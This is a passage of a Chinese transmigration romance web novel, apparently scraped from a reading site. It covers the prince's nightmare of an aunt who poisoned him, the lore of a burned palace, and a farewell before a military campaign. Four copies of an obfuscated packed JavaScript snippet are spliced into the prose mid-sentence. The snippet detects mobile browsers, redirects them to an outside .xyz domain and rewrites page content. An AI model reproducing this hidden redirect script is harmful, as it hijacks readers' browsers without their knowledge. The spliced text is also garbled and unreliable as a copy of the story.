铜雀衔枝灯上燃着昏沉的烛火,屏风上映出一道孤零零的美艳侧影。透过若隐若现的纱,织锦裙裾散了一地,像是月下的洛水般泛着浮光,鲜明的金和朱红。 但床榻一片凌乱,妇人衣衫不整,仿佛疲惫极了,连散开的的发髻和大敞的衣襟也毫无所感,只是麻木地望着镜子里自己的脸,眼角眉梢处,依稀还残余了带着异样妩媚的红。 那种妩媚便如同已经盛开到了极点,内里即将腐烂的花朵。 他怯怯地捧着一束新鲜带露的花束,满心希冀,却又不敢亲近:“姑母,今天早上刚刚摘下来的芍药,我想送给你。” 妇人脸上先是浮现出瞬间的惊惶,几乎是立刻拉好了自己敞开的衣领,随后反应过来,即刻换上了一副冷漠的表情。 “谁放进来的?马上把他带出去!” 她看也不看他一眼,仿佛他并不存在。 他很快被急忙赶上来的宫人们拉开,芍药散落在地上,淡粉的花朵滚过半圈,随后被一脚踏碎。 “今天是上巳节,长辈要给晚辈祓禊,就是去除一年中的霉运秽气,你知道么?就像现在这样。” 忽然之间,场景扭曲变换,妇人的面容换上浅浅的微笑,温情脉脉地拿起旁边的柳枝,蘸了清水,极为轻盈地在他身上拂过几下。 柳枝的触感绵柔,像是母亲温柔慈爱的手掌,他受宠若惊,心中洋溢着无法言说的喜悦,重重点头:“我学会了,我……我以后长大了也给姑母祓禊,好不好?” 闻言,妇人脸上的笑容僵硬了一瞬,像是想起了什么,刹那间神色恍惚。 但她很快回过了神,挂着笑一时没有说话,也不正面回答,而是继续细致地把沾了水珠的柳枝编成了一个精巧的环,套在他小小的手腕上,摸了摸他头顶柔顺的黑发:“好乖。” 可是他到底没有被这个小礼物完全哄住,还是胆怯地追问:“姑母,好不好呀?” 她终于叹了口气,既没有直接答应,也没有彻底拒绝,仅仅是含糊其辞地作出了一个算不上承诺的承诺:“以后总会有人陪你的。” 转瞬之间,这幅画面也如同摔碎的瓷器般彻底分崩离析,换成了一杯飘着浓烈酒气的液体,一张艳丽无比的面孔。 妇人牢牢地端着酒杯,喂到他唇边,脸上的笑是前所未有的温柔。 “乖,把它喝下去。” 酒液微微荡漾着,映出男孩苍白的,阴郁的,却乖顺又渴望的脸。 前尘与梦魇交错,哽住的喉咙里,忽然传来了剧烈的痛楚,有什么东西如同火一样灼烧而下,像是利刃在腹部翻搅,割开了血肉淋漓。 酒杯“咚”一声翻倒在地面。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15478508|168959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “痛,我好痛……”他被疼得想要下意识蜷缩起来,却还是眷恋地望着对方,急切地想要握住她温暖的手臂,“姑母……姑母,救救我……” 但对方满脸厌恶,在被触到的瞬间,便用力甩开了,冷冷地说:“你活该!” 他的手砸在案几上,却仍不及五脏六腑中火烧的疼痛那样撕心裂肺。眼前的幻影一层层扑面而来,有时对上她冷若冰霜的面孔,有时却又遇见如同最慈爱的母亲一般,难辨真假的温柔眼神。 反复无常,阴晴不定,像焰火那样让人灼痛,又还要更难以捉摸。 可最后的一刻,却竟然停滞在妇人木呆呆地坐在案桌后,仿佛不知道自己做了什么般看着他,半是痛悔,半是绝望。 “哈哈,哈哈哈——”她捂住了面孔,忽然开始放声大笑,笑得像是在痛哭,泪水从指缝中滑落下来。 “出去!”妇人忽然开始情绪崩溃般地嘶声吼道,“谁让你来找我……谁叫你……你就只是个孽种!滚出去!这里不是你该来的地方!” 她像是既痛恨又茫然,拼命却无力地撕扯着自己心口处薄薄的一层布料,边哭边笑,眼泪流了满脸。 原本华贵的衣着被酒弄得一塌糊涂,那张美丽至极的脸上,神态也顿时变得像个失去理智的疯子。 她猛然越过了案桌,用尽全力推了男孩一把,见他痛苦至极地倒在地上,顿时发狂一般推搡踢打,好像看不见他嘴角涌出的血一直淌到了衣襟。 “给我滚,再也别让我见到你!” 身后的宫殿里烧起了连天的大火,回忆和痛楚在火光中沸腾灼烧,又如潮水一般将人淹没在其中,最终,归于一具烧焦得再也看不出面目的枯骨。 “……” “……殿下?” “……” “……殿下?殿下!” “你怎么了?” 永宁寺,宣光殿,椒兰阁,虚幻和现实交织,半是苏琼月,半是姑母,是一生中永不能得到的期望,是比黑暗更恒久的梦魇。 在这从来无法挣脱的恐惧之中,忽然有什么温暖的东西意外地触碰了他。 极为轻柔,却有着莫大的力量,仿佛夜色中亮起的灯盏,璀璨皎洁,比一切星光和月光都还要更明亮万分。 刹那间,铺天盖地的眩晕感像迷雾般消退散去,视野中唯余一张鲜活的面孔。 她正认认真真捧着他的脸,手指很柔软,仰望的眼睛干净又清澈,如同青叶上清新的朝露,映着晨间万物萌发的勃勃生气。 “殿下,看我。” 傅苒忧心忡忡,又不敢随便对他怎么样,只好一遍一遍地重复着唤醒他。 “殿下,你看见什么了吗?没事,这里除了苏姐姐谁都没有,你看着我,相信我。” 少年默不作声地依言垂下眼眸,瞳孔中如同烧着冰凉的火焰,却渐渐聚焦起来,倒映出她的身影。 她错误地出现在一段与她不相关的噩梦之中。 如同原本漫长的乐音里,迸出了突兀的一个变调。 23. 第 23 章 “殿下,殿下?” 傅苒见他好像慢慢清醒过来,小心地在他面前晃了晃手掌,然后指头转了个方向,端端正正地指向了自己的脸。 “刚才这里什么都没有,你面前醒着的人一直只有我。” 趁着晏绝没有反抗的时候,她一边说,一边小心翼翼地把人往门外拽,避免他再靠近苏琼月。 虽然严格来说,原著里晏绝除了在心理上折磨女主以外,确实没有做过什么实质的逾越举动,但在这么微妙的关头,她还是很有必要防备一下可能存在的图谋不轨。 何况苏琼月早已被媚香的效果烧得头脑发晕,完全是不清醒的状态,这就更危险了。 傅苒感觉糟心极了。 她就知道,夜路走多了是容易见鬼的,禁地是不能乱闯的,要不是她紧急掏出了女主的证物,没准刚刚就已经小命难保了。 但是话说回来,她怎么感觉晏绝今天的状态这么奇怪? 他分明看清了苏琼月,却迟迟不上前,反而不知怎么竟然像白日发梦那样神游起来。 好不容易被她叫回了魂,却如同从一场噩梦中猛然惊醒,脸色变得惨白,额角上都是冷汗,仿佛遭遇了什么极为恐惧的事情一样。 简直像是……陷入了癔症似的。 傅苒就算是个坚定的唯物主义者,这会也忍不住有点发憷,打量了一圈周围阴气森森的宫院,心想怎么跟小病娇有关的事情都这么神神叨叨的? 但这个世界跟灵异又不沾边,真要说起来,鬼神降灾是肯定没有,有的都是人祸罢了。 “殿下,你是不是身体不舒服?要不先坐下歇一会?” 傅苒眼看他已经被带着出了苏琼月所在的屋子,马上眼疾手快地把门一关,拉上木栓,挡在了前面,充满警觉地盯着他。 其实外面到处是灰尘,根本没地方可坐,好在她只是客气一下,倒也不太关心晏绝嫌不嫌脏这个问题。 “……”少年仿佛终于从噩梦中脱离了出来,虽然睫羽还在不自觉地微微颤抖着,但语气总算是勉强平稳下来,“不用了,我不需要。” 傅苒怕他还想着女主的事,趁着两人都被关在了屋外的时机,她绞尽脑汁又扯出了个新话题来转移注意。 “那……殿下怎么也能进来这里的?” 晏绝轻微蹙了蹙眉,神色还是有些僵硬:“你以为那扇门的锁是谁打开的?” 门锁?傅苒先是愣了一下,然后恍然大悟。 她就说怎么偌大禁地的看守居然能这么随便,连铜锁坏了都没有人来及时修好,敢情本来就是晏绝特意给弄坏的? 可这个问题眼看着被堵住了,她只好临时又换了一个:“但我不是听说殿下早就出宫去了吗,怎么又回来了?” 虽然他肯定是有进出禁中的宫令,也不能一天天这么神出鬼没的吧。 然而这会,小病娇像是已经清醒过来,开始不再接茬了:“傅姑娘,你在宫廷禁地里随意乱闯,我都还没有追究过错,怎么你先盘问起来了?” 又不是她自己想进来的,傅苒小声嘟囔:“这不是因为苏姐姐嘛……” 她这才发现自己还没把这个问题说清楚,赶紧一五一十地解释了在卢充华那里看到的事情,当然省略了她提前知道的部分,只说是从那边经过的时候偶然撞见的。 不过晏绝所知的到底比她要更多,从这寥寥数语中,便已经明白了整件事情的来龙去脉。 在这种牵涉到太多人的事情上,没有撒谎的必要。然而若是真的,那么苏琼月和太后的关系在宫中无人不知,一个充华,当真有这样的胆子冒着送命的风险去得罪太后吗? 就算卢充华敢,也未必能保证涉事的宫人都能顶住压力,不向太后揭发。 所以真正能做到这件事的,到底是充华本人,还是,他那个自以为掩饰得很好的皇兄? 他丝毫没有透露出自己的想法,忽然问道:“就算傅姑娘所说是真的,那你又为什么要帮我阿姊?” ……这话是什么意思? 傅苒虽然被怀疑惯了,但听到这种问题,还是情不自禁涌出一股无名火:“苏姐姐跟我一样是女孩子,既然知道她可能会受到伤害,我怎么可能视而不见?殿下心里怎么想我管不着,可是这世上,也不是每个人都像你一样盼着别人过得不好的。” 她确实是听得有点生气,反驳的话不免说得重了些,说完后却又迟疑起来。 倒不是她觉得自己说的有什么问题,但在晏绝的地盘上,态度这么激烈,万一真惹他不快了,岂不是又要有生命危险? 可是等了半天,晏绝却没有她想象中那种被戳破心思恼羞成怒的反应,傅苒越等越踌躇,忍不住抬头望了望,少年只是沉沉地垂眸看着她,仿佛在看待什么值得打量的事物。 半晌,他的语气竟然莫名其妙地缓和了下来:“算了。” 他一直以为她接近谢青行是别有用心,至少不会对阿姊有什么格外的好意,现在看来,难道是想错了? 晏绝沉默了半晌,视线无意识从傅苒身上划过,落在被她挡在身后的门扉。 他还没动作,只是注意了一下,傅苒就紧张兮兮地扒住门,机敏又警觉,仿佛死守着洞窟的兔子,担心他对自己藏在洞中的珍宝下手似的。 而且……分明都没有用多重的力气,大约还是她本来就敏感的缘故,女孩从脖颈到锁骨之间,被他禁锢过的一片地方,不知什么时候已然浮出了斑驳的红痕。 她的皮肤单薄,透着病态而冷质的白,冷得如冰雪,却有种令人渴望毁坏的洁净。 那些痕迹烙在雪一般白的肤色上,便如同某种被伤害的罪证,却又几乎像是引诱。 适合触碰她的并不是手指,应当是别的…… 更锋利的,能够将肌肤咬破的东西。 晏绝硬生生止住了将要越界的思绪,将骤然升起的纷乱念头压抑下去,转而提起了一件看似风马牛不相及的事。 “我之前送你的兔子呢?养活了么?” “兔子?”傅苒对于刚才的危险毫无察觉,只是差点没跟上他过于跳跃的脑回路,好半天才反应过来说的是什么,“哦,你说春猎上那只?怎么忽然问起来这个?我把它放生了啊。” 他动作一顿,语气有点古怪地重复了一遍:“你把它放生了?” 虽然不知道他为什么突然提起这个,但只要别关系到苏琼月就是好的,傅苒坦然点了点头:“对呀,我院子里又没什么地方能让它活动,有时候还得关进笼子里。那毕竟是野兔,过去一直都生活在山林里,我觉得还是让它重新回到自由的地方最好。” 所以当时同病相怜养好了它的腿伤之后,她很快就拜托府上常出门跑腿的仆役,把它带到北郊的邙山附近放生了。 自然,她会这么做,也有一部分是由于童年时遇见过类似的情况,那时候是外公捉到一只小小的麻雀,用竹笼装着送给她,准备来当做宠物。 但外婆见后马上就告诉了她,麻雀是不能被关在笼子养的,因为它很快会开始挣扎、受伤、绝食,直到最后徒劳死去。外婆说,一旦束缚在狭隘的空间里,这样野性活泼的生灵就被白白地消耗掉了。 因为外婆的教诲,她想,生命应当都是同样的。 晏绝盯着她的眼睛,仿佛当真有些困惑:“你当时难道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她一时冲动,不自觉抓住他的手放在胸口,真心实意地疑问道:“就算不说这个,殿下,你长这么大,难道对谁都是这样?从来就没有过想要成全和保护的人?哪怕一个也没有过吗?” 晏绝因为她突然的动作僵了片刻,目光不自觉顺着她的衣袖垂下,看着自己被握住的手。 温软的,亲密的触感。 他大概是被这些乱七八糟的问题和故事绕得头晕,竟然没想起来反问,任凭女孩朝他一再靠近,甚至超出了原本明确的界限,越来越过火和肆无忌惮。 但她明明是这样脆弱,甚至不需要刀剑,一片足够尖锐的纸页便能割开她肌肤下淡青的血管。 最初淌出来的血想必是温热的,但很快就会冷却,像是被荆刺穿透了柔软心脏的雀鸟,垂死之际只能从喉间发出几声恐惧而又无能为力的哀鸣。 他应该杀了她,晏绝忽而浮现出这个念头。 从永宁寺那天就该这么做了。 可是偏偏他迟疑未决了许久,一直到听完她喋喋不休的所有话,都始终没能动手,似乎也……不想动手。 或许是故人和故地,又或者许多年不曾再触碰过,也无法面对的回忆。 这些让他变得比平日更软弱,更渴望一触即散的温情,即便那是些虚幻的泡沫。 就像她的故事里,为爱跳入海水中的鲛人公主用生命化作的泡沫。 在这种平静的虚弱里,他不知是被什么力量驱策,竟然不由自主般地回答了她的问题。 “有过一个,是这里以前住着的人。” 恨他,恨到希望他死去的人。 24. 第 24 章 “姑母,事情大概就是这样了……” 苏琼月解释完白日遭遇的一切,见太后脸色沉肃,咬着唇犹豫了几番,还是怯怯地低声说:“但我想,思静也未必就知情,说不定她也是受人蒙骗利用,或者是她宫里的人被收买了,自作主张,毕竟,她当时其实也出去了。” 她知道太后一直不喜卢充华,但卢思静毕竟极受皇帝宠爱,如果太后为她出头而惩治对方,难免会惹得皇帝不快。 更何况若真是有隐情在,太后和皇帝之间的矛盾就更要僵化了。 对近几年来两宫的纷争,苏琼月虽然不能说清清楚楚,但身在漩涡之中,至少心里还是免不了有所察觉的。 好不容易感觉到了化解的迹象,她完全不想在这时候因为自己而重新爆发冲突。 太后指间捻动的佛珠许久未动,却不置可否,只抬手示意女官先去宣卢充华:“既然你这么为她说话,那便让她过来自己解释。” 苏琼月忧心忡忡,只觉得等待的时间格外难熬,等看到女官独自归来时,心头更是一紧。 只见那女官神色踌躇,跪禀道:“太后陛下,卢充华来不了了。” “为什么?”苏琼月露出讶异。 卢思静性子绵软,更何况在太后这里,一直是唯唯诺诺的,绝不敢违抗的。 “回禀太后,卢充华今日本欲来请安,前往宣光殿的途中却昏厥了过去,而后太医诊出……已有四月身孕。” 女官说着说着声音渐低,“陛下正在绮秀轩中陪着,特命奴婢来回话。” 殿内霎时静得能听见铜漏滴答,太后沉默下来,眼中划过一丝冷意。 卢充华虽然姓卢,但并非出自于五姓高门中的范阳卢氏,父兄也声名不显。她自知家中不济,便一向表现得温存解语,几乎是百依百顺,因此反而在后宫中最得帝王欢心。 她会怀上身孕是太后意料之中的事,甚至怀孕的消息,恐怕来得还是比预计的晚了。 若不是早知道有这层保障,太后也不相信,一个充华敢把主意打到她的人身上。 但她真以为,有了身孕便能高枕无忧了吗? 诚然,皇家子嗣是太后也迫切想要的,所以这件事在当下必定不会再闹大。是不是卢充华授意的,知不知情,目前已不重要,最多不过是拿几个人来顶罪罢了。 但这一笔账,往后总会有清算的时候。 “这件事,你姑且就当做忘了吧,不必再挂在心上。” 太后摸了摸苏琼月的头,却委婉地制止了她接下来想要说的话,“好孩子,姑母知道你受苦了,我定然会有个交代,只是时机未必在当下,你慢慢等着看便是了。” 见苏琼月还是欲言又止,太后道:“昨日谁帮了你的忙,我已知晓了,但此事不宜透露出去。放心,昭儿自会代我嘉奖她的。” * 盛夏的华林园风景极美,天渊池水波澜生碧,骄阳倾泻于粼粼的水波之上,碎成一池金光。池畔青槐垂荫,柳丝蘸水,时不时有蝉声从叶隙间漏下,南风穿林度水而来,拂面的莲花香中挟着清凉的水汽。 傅苒是被苏琼月邀请过来的,目的自然是为了感谢她的帮忙。 在沿池而筑的清暑殿中,苏琼月牵着她的手,诚恳地道了谢:“若不是傅姑娘,我恐怕就要惹出不好的传闻了。姑母也已经知道了这件事,只是不便宣扬才没有特意召见你,但这份情,我日后一定会记得的。” 傅苒本来就不是为了什么奖赏才这样做的,说了几句之后顺便问道:“苏姐姐,你昨天到底为什么会……我遇见你的路上好像撞上了卢充华,她似乎要去和太后说些什么,跟这事有关吗?” “我也不知,但她并没去成。”苏琼月神色担忧,说起了卢充华晕倒后被诊出有孕一事。 “说实话,我确实是在思静那儿中了药,姑母对此也有所怀疑,可我到底还是觉得,她不是这样的人。” 不管真相怎么样,单是这一点的走向理论上已经和原著不同了。 原著里面因为苏琼月直接遇到了皇帝,惊慌下弄伤了自己,被太后发现后激化了两宫的矛盾,而这次苏琼月没有收到太大伤害,皇帝也没有直接参与其中,事情不知道会不会有什么变化。 傅苒想了想,转而道:“对了,苏姐姐知不知道,我们不小心闯进去的那个禁地的事?那里以前住着谁吗?” 以小病娇的言辞和反应,肯定是个对他很特殊的人。 苏琼月微微一怔,随即轻声给出了一个让她没想到的答案:“是华阳长公主。” “我入宫时,火灾已经发生了,所以未曾亲见,但听说过那里曾是华阳长公主的居所,她殁于那场大火。” 华阳啊。 关于这位长公主,傅苒知道的一半来自于原著,一半倒是来自于听说的传闻。 华阳长公主是先帝的堂妹,以美貌闻名上京,据说她容色姝丽,风华绝代,每逢春日踏青时,追随其后想要一睹芳容的年轻人能排成长龙,盛名犹在如今的苏琼月之上。 后来她下嫁给驸马穆湛,此人出身于军勋世家,相貌人才都是一流,两人情投意合,在当时一度是佳话。然而好景不长,几年后,穆湛死于战场,华阳长公主因为伤心欲绝而大病一场,不愿守在空荡荡的公主府,回到宫中养病,之后又去往永宁寺修行了一段时间,但最终还是香消玉殒了。 所以说,那片楼阁,是华阳长公主丧夫之后,在宫中寡居的地方? 她该是晏绝的堂姑母,但从昨天的情况来看,似乎又不止这么简单…… “算了,多想也无益,不说这些了。” 苏琼月似乎不太想徘徊在这个问题上,继而开始寒暄道:“我还没有问过,苒苒是怎么会来到洛阳的?” 说来她确实还没跟女主提过,傅苒免不了再解释一遍女配的身世,苏琼月听完,看她的眼神复杂中多了几分怜惜。 “你方才说,救景逸是在一片莲池后的溪边?” “是的,因为我……阿母,”傅苒提起女配的父母,总还感觉有点不太熟,“她的名字是莲衣,据说取自‘莲衣落 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504389|168959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夏渠’,所以阿父在屋前屋后都种了许多莲花。” 但她穿进来的季节不对,所以只剩下残枝败叶了,后来又和谢青行离开,并没有真正见到过花盛开的景象。 苏琼月想了想,不好意思地承认:“我对诗赋不太精通,不过这句诗听起来极美,仿佛是江南的意蕴。” “也不是没有可能,”傅苒坦诚道,“其实,我也不知道父母到底来自哪里,不过仔细想想,应该是比青州更南一点的地方吧。” 按照系统的说法,原身是为了改变结局而自愿和它进行的交易,完整的灵魂早已不再存在。 所以关于原身此前的过往,她能确定的也没多少,只知道双亲确实不是琅琊本地人,但很少谈起自己的来处。 在系统给的人物背景里,原身的父母都算是知书达理的人,应当并非白丁出身,大概是因为意外而家道中落了。父亲本身就是娴熟的医者,母亲也擅长辨识各种草药,还经常随身挂着小竹筒,时不时搜集特殊的虫豸,拿来配药或蓄养。包括那份忘忧蛊,据说就是母亲一直携带在身边,最后又遗留给原身的。 但傅苒穿过来的时候,两人都已经在兵祸中不幸遇害,所以除此之外的信息,她就也不知道了。 苏琼月正想说什么,守在凉亭外的宫人却在此时纷纷行礼道:“参见梁王世子。” “世子怎么会造访华林园?” 苏琼月回过头,果然正见到一袭月白锦袍的萧徵长身玉立,不由展颜微笑起来。 梁王世子名义上自然算皇室近亲,又和她在永宁寺有过几面之缘,因为他对琴艺十分精通,两个人都颇擅音律,所以自然每次都聊得很是投缘,她对萧徵也因此很有好感。 然而这次,萧徵的回复竟然少见地有些迟缓。 他的视线甚至也没有注视着苏琼月,而是越过她,直直望向里面毫无察觉的人,神态不像平日那样游刃有余,像是骤然陷入某种情绪之中,一时难以平静。 但没等苏琼月深究这一瞬的异样,他便已神色如常,温声解释道:“我今日为排演礼乐进入园中,途经此地,闻到风送莲香,不知怎么竟想起儿时听过的采莲歌谣……心有所感,是以携琴而来。” 萧徵身后的确跟着一名抱琴匣的侍从,印证了他的话。 不论什么时候,动听的乐音总是最让她愉悦之物,苏琼月顿时放下刚才的种种思虑,莞尔道:“既然这样,那我们便有幸听到世子的琴音了。” 萧徵也一如既往地对她露出温润的笑容,自谦道:“该说是我之幸才对。” 然而傅苒却总感觉隐隐有目光落在自己身上,忍不住扫视了一圈,最后满怀疑惑地确认了目标对象。 萧徵? 她下意识回过头察看了一下苏琼月的位置,心想难不成是因为她恰好挡在了女主面前,阻拦了最佳观察视野? 但转眼间,萧徵已经继续和苏琼月交谈,没有再看她。 大概只是错觉罢了。 她心情也放松下来,逐渐沉浸在泠泠的琴声之中。 25. 第 25 章 “你……你又要随军出征了?” 本来窝在坐具上看书的傅苒一骨碌站了起来,几步冲到谢青行面前,被这个突如其来的消息惊得睁圆了眼睛。 宫宴的风波之后,她本以为自己在谢家的生活又恢复了看书摸鱼的常态,没想到谢青行忽然提起了一个重磅消息。 人都不在这里,她还怎么撮合男女主,任务进度怎么办! “嗯,随天子南巡。” 谢青行膝横长剑,手掌压在冰凉的剑鞘上,神色却习以为常,“九月初就会从洛阳出发。” 他倒不是才得知消息,只是觉得这算不上太大的事,所以没有早早强调的必要,不料傅苒的反应竟然如此震惊。 谢青行先是讶然,然后便想到她恐怕是在挂念自己远征的危险,目光更温暖了几分。 “不必忧心,本次出军是天子御驾亲征,自两月前便已下诏备战与整顿军务,到此时万事俱备,不会再出现像上次那样的意外了。” 所谓的上次,当然指的是他在青州遇到的袭击。经过后来的调查,已经验证是被裹挟降齐的琅琊太守杨建成所为。 杨建成在上司死后,通过自己的渠道和南朝暗中接上了联络,故而才打算在归南之前,杀掉齐朝派去的将领以作为投诚的功绩,可惜没能成事。他知晓刺杀未成,便已携家眷部曲等人逃回南边,还因此得到了加官和封赏。 但他的叛逃并不影响大局,如今淮北地域已经归入齐朝版图,包括谢青行升任殿中尚书,很大程度上也是由于此战的成果。 傅苒知道这些,自然是因为谢青行不是那种死板的人,即使对于朝事,只要她想了解且无需避讳的,他都会知无不言。 “好吧……”她点头表示理解了。 虽然突然,但皇帝亲征这样的国家大事又不是想不去就能不去的。 不过傅苒有点疑惑:“我这些天怎么都没听刘夫人和晞容说起过这件事?谢公子,你跟她们说过要走了吗?” 谢青行似乎并没有在意这个问题:“阿爹早就知道,母亲……应该也从他那里听说了。晞容还小,有二郎和三郎陪着就够了,应该不会太注意我离开的事,用不着特意去说。” “不是,等等等等,”傅苒诧异地眨了眨眼,“所以你出征之前都不需要特意和家人道别的?” 她忽然感觉谢家人对此的反应简直是平静得异乎寻常,就好像谢青行不是要出征很久,风餐露宿,有受伤的可能,而是平平常常地出门旅游几天一样。 可能是家庭习惯吧,她这么想着:“算了,不告别也没什么,那他们准备哪天去送你?” 谢青行却被她问得一怔,仿佛听到了一个完全出乎意料的提议,不由失笑道:“出征是军中常事,这回只是南巡,又不紧要,何必特意相送,何况往常便没有过。” “……当然很紧要了。” 傅苒终于发现,男主这也太不把自己放在心上了。 像她每次离开家去学校上学,哪怕学校就在本地,每周末都可以回家,外公外婆还是会依依不舍地送她到车站,一步三回头。而且上学又没有什么危险,跟打仗根本比不了。 虽然谢青行有主角光环,没意外肯定会活到结局,但过程中的辛苦和危险也不能忽视嘛。 她只好自觉地做好了充当送行人的准备:“那你们从哪里离开,我到时候去送你吧?” 八月之初,大军开拔的地点,在洛阳城的东郊。 所谓“国之大事,在祀与戎”,按照惯例,御驾亲征之前皇帝要在这里亲自进行祭祀,上禀神明,以保佑出征顺利,并举办一场大宴来饯别将出发的军士,所以傅苒也准备在这里送谢青行离开。 她本来还想着拉上谢晞容,只是想想觉得谢青行说的也对。不特意说出来,以谢晞容的心大,没准根本不会意识到长兄的离开,告诉了反而徒增烦恼。 但辕门外左等右等都没见人出来,傅苒跳下牛车,正想走近点看看,斜下里却忽然横出一只手臂拦住了她:“军中之地,不得擅闯。” 她一下子顿住,确定自己没看错:“殿下,你怎么也在?” “皇兄行前祭礼,我当然需要出席。” 晏绝好像因为她这种撞见麻烦般的态度不大愉快:“倒是傅姑娘,你为什么会出现在这儿?” 傅苒坦然道:“我来送送谢公子呀。” “呵。”少年露出一丝冷冷的笑容,“谢侍中身经百战,又不是第一次出远门的稚子孩童,还用得着你来送别?” 当然是想送就送了,这有什么的。 傅苒左右打量了一下他的表情,心下有点犯嘀咕。 以她之前的猜测,晏绝理所应当是很乐意看到她接近谢青行的,反正他的目标是拆散男女主。 那他有什么可不高兴的?总不会是看到谢青行有家人关心,而他经常孤零零一个,心理不平衡了? 小病娇也不能指望大家都跟他一样独来独往吧。 说实在的,原著里晏绝不喜欢谢青行的原因她还是挺能理解的。毕竟男主性格又好,人又靠谱,跟晏绝这个亲弟弟相比还更得皇帝信任,家庭也远比他圆满,再加上女主那几乎摆在明面上的偏爱。 这种配置下,仇恨不拉满都不太合理了。 不过关爱问题儿童,从小事做起,而且反正谢青行半天还没见人影,大概是有事情要处理,她暂时也不急着走开。 “这就是家人之间的关心啊,殿下,就算谢公子自己习惯了,也不妨碍别人关心他出门远行过得好不好,就像……”傅苒灵机一动,搬出了万能的女主。 “就像你如果要出征,苏姐姐肯定也会很担心的。” 晏绝挂在嘴角的笑意不由微微凝住,心不在焉地敛起睫。 阿姊果真会为他担心吗? 或许会吧。 然而她对于太后何其温顺,只要太后一句话,她就什么也不敢表露,反过来劝说他体谅母后的用心,最好如她一样俯首帖耳地服从。 不论是幼年的责罚,还是少时他去往幽州的分离,她都全然接受,毫无动摇和质疑。 对阿姊来说,太后永远是至高无上的。 少年眼中流露出一丝自嘲,却又仿佛带着恶劣的期待。 倘若到了背叛和龃龉彻底摆在台面上,终于不得不面对的那天,她到底会如何面对? “谢公子!” 晏绝正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508310|168959||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要说话,却忽然见眼前的女孩眸子一亮,越过他的肩头望向了来人,仿佛转瞬之间,就毫不犹豫地把他抛在了身后。 “你总算出来了,我都等你好久啦。” 几乎是同时,她身上淡而甜的香气从他旁边擦过,如同花瓣无意间飘落,不等人接住,刹那又轻快地远去了。 云散风流,杳无痕迹。 他随着傅苒的背影,看向迎面而来的那个熟悉的青年男子,心中不明来由地浮现出轻微的烦闷。 她怎么对待任何人都能这样若无其事地亲昵? 然而,反应过来自己在想什么的瞬间,烦闷又变成了恼怒的躁意。 ……不,他为什么要在意这些。 傅苒一看见谢青行,顿时忘记了刚才和晏绝准备聊什么,心思回归到主题上:“公子怎么会耽搁了这么久?” 谢青行朝她快步走来,面带歉意地解释道:“方才陛下临时召见,商议行军之事,所以晚了些,你一直在等我?” “也不算吧,我刚刚还碰见了——” 傅苒转过头,本想给他示意后面的晏绝,却发现小病娇不知什么时候已经默不作声地离去了。 怎么走这么快?也不知道话疗有没有效果。 她只好接着把行囊递给谢青行,告知他是刘夫人那儿整理出来的。里面打包好的衣物和药品塞得很满,刘夫人虽然因为身体欠佳没有亲自来送,但也相当细致周到了。 谢青行很少对继母评价什么,只是让她代为道谢。 但来送行的显然不止她一个,不远处传来轻轻的抽噎声,听谈话似乎是位新婚的小娘子,握着自家军士丈夫的手哭泣不已。 谢青行同样注意到了两人,或许是场景触动,他向来平稳的语气中都难得流露了一丝感慨。 “出征便是如此,路途漫漫,回来不知道是什么时候,但还能有人盼着他回来总归是好事。” 这话就说得太冷清了,傅苒表示不赞同:“谢公子怎么知道没有人在盼望你回来?说不定,你也会是哪家女郎念念不忘的意中人呢?” 把苏琼月放在哪了,女主可是每逢他出征必去寺庙里祈愿的,一片痴心可鉴好不好。 “你才多大年纪,就想着这些了。” 谢青行浑不知她的想法,伸手揉了揉她的发心,难得带了点玩笑的意味:“难道阿苒是自己看中了谁?但你还小,未必能明白什么感情,这些事情往后再谈也不迟。” “……”傅苒成功被他这句无意识的话打击到了。 男主说得好对,她自己都没谈过恋爱,一点经验也没有,系统就让她来撮合别人的cp,这不是纯纯坑人吗。 一下感觉肩上的担子更沉重了怎么办。 但谢青行的时间不多,道完别,很快就要离开了。傅苒不想把这种苦恼再传递下去,收敛起思绪,认认真真地对他叮嘱:“谢公子,你出门在外要小心自己的安全,注意身体,反正不管怎么样,能平安回来最重要了。” 谢青行提着沉甸甸的行囊,笑了笑道:“嗯,我记住了。” “还有,”眼看人要走,她连忙应景地挥了挥手,这次真是再见了,“我也会去永宁寺为你祈福的!” 26. 